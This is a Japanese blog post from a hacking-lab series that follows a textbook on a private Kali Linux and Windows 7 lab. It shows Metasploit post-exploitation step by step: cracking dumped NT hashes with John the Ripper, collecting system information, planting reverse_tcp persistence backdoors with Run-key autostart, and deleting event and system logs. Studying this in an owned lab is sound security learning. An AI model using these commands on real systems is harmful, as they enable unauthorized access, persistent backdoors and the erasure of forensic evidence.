1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

Kali Linux2022.1 でハッキングラボをつくってみる 5 Windows7をハッキングする編4(Metasploit Frameworkを使う中編)

Last updated at Posted at 2022-04-20

はじめに

前編からの続きになります。
前編
『ハッキング・ラボのつくりかた』のp.254〜269の内容に相当します。
前回入手したハッシュダンプの解析からバックドアの設置まで行います。

注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。

john the ripperでWindows7のハッシュダンプを解析する

KaliLinuxにデフォルトでインストールされているオフラインのパスワード解析ソフトJohn the ripperでハッシュを解析して元のパスワードを特定します。
「解析」としましたが、パスワードは既知なので(Passw0rd!)、それをちゃんと当てられるのかどうかを試してみることが、今回の肝となります。
パスワード解析には、辞書攻撃と総当り(ブルートフォース)攻撃があります。今回は辞書攻撃で解析を行います。

まず、入手したハッシュファイルを作業しやすいディレクトリに配置、ファイル名に変更する。(ハッシュファイルのファイル名は環境によって違う。)

cp /home/kali/.msf4/loot/20220414155405_default_192.168.56.108_windows.hashes_364906.txt /home/kali/win7hash.txt

解析を行う

john --wordlist=/usr/share/john/password.lst --format:nt win7hash.txt

うまく解析できなかった。
既知のパスワード"Passw0rd!"を附属のパスワードファイル"/usr/share/john/password.lst"に追加して再度解析する。
VirtualBox_kali-linux-2022.1-virtualbox-amd64_17_04_2022_22_53_29.png
解析成功。Administratorのパスワードが"PassW0rd!"だと判明した。

システム情報の収集

  • 不要なセッションを閉じる
    sessionID1は、システム権限が取れていない。代わりとなるsessionID2のセッションがあるので、不要になった。次のコマンドで、不要なセッションを閉じる。
    -kオプションは、killを表している。
sessions -k 不要になったセッションのセッションID
  • システム情報収集
    管理者権限の確立したセッションで行う。
    レジストリなどの幅広いシステム情報を収集するコマンド
run scraper

コマンド実行後、しばらくしてから"/home/kali/.msf4/logs/scripts/scraper/"というディレクトリの直下に、"<ターゲットのIPアドレス>_<日付>.<数値列>"という新規のディレクトリが作られている。その新規に作られたディレクトリには、以下のテキストファイルが含まれている。
runscraper実行後.png

ファイル名 説明
HKCC.reg 現在のハードウェアプロファイルの情報を保持
HKCR.reg ファイル形式の関連付け、COMクラスなどの情報を保持
HKCU.reg デスクトップなど、現在ログオンしているアカウント固有のシステムやプログラムの設定情報を保持
HKLM.reg ハードウェア、セキュリティ情報、OS、プログラム、システムなどのコンピュータ固有の情報を保持
HKU.reg ユーザーごとの設定情報を保持
env.txt 環境変数の一覧を表示
group.txt グループ(ネットワーク)に関する情報
hashes.txt パスワードのハッシュファイル
localgroup.txt グループの一覧を表示
nethood.txt Nethoodに関する情報
network.txt ネットワークに関する情報
services.txt OS起動時に自動的に起動するサービス一覧
shares.txt 共有しているフォルダに関する情報
system.txt ホストコンピュータの名前、OSの種類、バージョンなど
systeminfo.txt システムの情報(OSの種類、バージョン、hotfix、ネットワーク情報など)について
users.txt ユーザーの一覧を表示

※レジストリファイル.regの説明文章は、同書p.172の記述を参考にした。

hashes.txtを読んでみると、"post/windows/gather/smart_hashdump"でダッシュしたハッシュファイルの内容と同等であった。最初から、こちらを使っておけばよかった・・・。

  • システムの内部情報にアクセス
    Meterpreterプロンプト上で、cmd.exeの実行が可能である。実行にはmeterpreterプロンプト上で、shellを実行。
meterpreter >
shell

WMI(Windows Management Instrumentation)というWindowsのシステムを管理するインターフェースで、Windowsのシステムの内部情報にアクセスできる。例えば、wmic startupで、自動起動の内容を確認できる。

バックドアの設置

ターゲットのWindows7がシャットダウン、あるいはログオフなどをしてしまえば、セッションが閉じてしまうことになる。もう一度、payloadが実行されるとは限らないので、セッションが確立している間にバックドアを設置する必要がある。

ExploitFramewoekで設置

run persistenceコマンドでバックドアを設置

run persistenceコマンドでバックドアの設置ができる。ただし、実行時に

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]

とエラーが表示されることから、非推奨のコマンドであるらしい。(一応、実行は可能)
代わりに、"exploit/windows/local/persistence"を使ってみるのも良いかもしれない。
"exploit/windows/local/persistence"を利用する方法は、同書のp.259の注釈で紹介されている。将来的には、こちらの方法がスタンダードになるのかもしれない。
どちらからでもバックドアの設置は可能。

使い方、オプションなどは、ヘルプrun persistence -hから確認できる。

ヘルプよりオプションの一覧

  • -A exploit/multi/handlerの接続があったら、自動的にエージェントを起動
  • -h ヘルプ
  • -i 接続を試みるインターバルを秒で指定
  • -L %TEMP%を使用しない場合に、ペイロードを書き込むターゲットホスト内のフォルダ、ディレクトリを指定
  • -p 使用するポート番号の指定
  • -P payloadを使う。デフォルトはwindows/meterpreter/reverse_tcp
  • -r コネクトバックをlisteningしているMetasploitを実行しているシステムのIP
  • -S ターゲットシステムが起動したときに、そのサービスとしてエージェントを自動的に起動させる
  • -T 一時利用の代替実行ファイルの利用
  • -U ターゲットシステムのユーザがログオンしたときに、エージェントを自動的に起動させる
  • -X ターゲットシステムが起動したときに、エージェントを自動的に起動させる

コマンドの実行

meterpreter >
run persistence -X -i 60 -P windows/meterpreter/reverse_tcp -p 4444 -r 192.168.56.2

上記のコマンドで、ターゲットシステムが起動したときに、エージェント(ペイロード)を自動実行し、インターバルは60秒、使用するペイロードはwindows/meterpreter/reverse_tcp、ポート番号は4444、接続先は192.168.56.2
と設定した。
runpersistence実行後.png
Tempフォルダにvbsファイルが生成されていること、レジストリキーが変更されたことがわかる。(赤線部分)
バックドアを撤去したいときは、黄緑線部分の.rcファイルの内容を参考にすると良い。

exploit/windows/local/persistenceでバックドアを設置

meterpreterプロンプトから実行せずに、msfプロンプト上で、"exploit/windows/local/persistence"から行う形では、

msf >
use exploit/windows/local/persistence
set exe_name serviceWin7(不審でない名前にする)
set session 1(セッション1が確立済みかつシステム権限がある)
set exe::custom /home/kali/payloads/evil.exe
show options
show advanced
run

exe_namesessionshow optionsexe::customshow advancedで確認できる項目である。
exploitwindowslocalpersistence実行後.png

成功したら、Windows7に戻って、「Sysinternals」の「Autoruns.exe」を開く。
「Everything」タグに、バックドアが設置させれていることが確認できた。
VirtualBox_IE10 - Win7_20_04_2022_15_40_23.png
ファイル名から、"exploit/windows/local/persistence"で設置したバックドアであることがわかる。

手動で設置

run persistenceコマンド、"exploit/windows/local/persistence"モジュールでバックドアを作成せずに、手動で設置してみる。前者との違いを検証する。

  1. ペイロードを"C:\Windows"に移動する
    shellコマンドから利用できるWindowsのコマンドプロンプトとMeterpreterプロンプト両方から可能であるが、tab補正やBackspaceが利用できる後者のプロンプトが便利。
meterpreter >
cp "C:\\Users\\IEUser\Downloads\\evil.exe" "C:\\Windows\\evil.exe"
rm "C:\\Users\\IEUser\\Downloads\\evil.exe"

2. 自動起動の設定に登録

  • 確認
meterpreter >
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

VirtualBox_kali-linux-2022.1-virtualbox-amd64_20_04_2022_16_03_35.png
※利用しているバックドアが、run persistenceコマンドで生成されたバックドアではないため、同書p.268では3つあるキー値が2つしかない。

  • 登録
meterpreter >
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\Windows\evil.exe'

VirtualBox_kali-linux-2022.1-virtualbox-amd64_20_04_2022_16_10_51.png

3. 自動起動の確認
Windows7を再起動すると、下の画面のようなダイアログが出現。
VirtualBox_IE10 - Win7_20_04_2022_16_12_59.png

同書p.269には、次のように記述されている。

"evil.exe"ファイルを実行したようですが、ダブルクリックしたときと同じように確認ダイアログが表示されてしまいました。これでは明らかに怪しいといえます。しかも「Always ask before opening this file」のチェックを外さない限り、毎回表示されます。
persistenceではこうした問題を回避するために、exeファイルの自動起動ではなく、vbsファイルの自動起動を採用しているのです。

ログを削除

ログの削除はあまり洗練されたログ改ざんではないが、簡単に出来て追跡が困難になる方法である。

  • clearevコマンド
    meterpreterプロンプトで、システム権限を取得した上でclearevコマンドを実行するとイベンログが消去される。

  • ClearLogを使用
    必要なファイルは、ソースフォージのダウンロードページからダウンロードできる。
    meterpreterプロンプトのuploadコマンドでWindows7側に転送して使用する。
    shellでコマンドプロンプトに移って実行可能。ただし、Windows7上でマウス操作が必要になる。

  • コマンドプロンプトのdelを使って削除
    Windowsのシステムフォルダに含まれる、拡張子が.logのファイルをすべて強制的に削除する。やや乱暴で、他のプロセスが利用しているなどの理由で削除出来ないログファイルもある。

コマンドプロンプト
del %WINDIR%\*.log /a /s /q /f

/a : 削除ファイルの属性指定
/s : サブフォルダも対象とする(再帰処理)
/q : ワイルドカード使用時に確認メッセージを表示しない
/f : 読み取り専用ファイルも強制的に削除する

終わりに

次回は、migrateによる隠蔽化からやられOSのWindows7にさまざまな操作をしていく。

exploitのモジュール設定の際に、オプションの「Name」の部分が、同書では大文字で指定されている。(例えば、"LHOST"や"SESSION"など)
この記事と前回の記事では、小文字で指定("lhost"や"session"など)している。小文字で指定しても動作に支障はなかった。

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?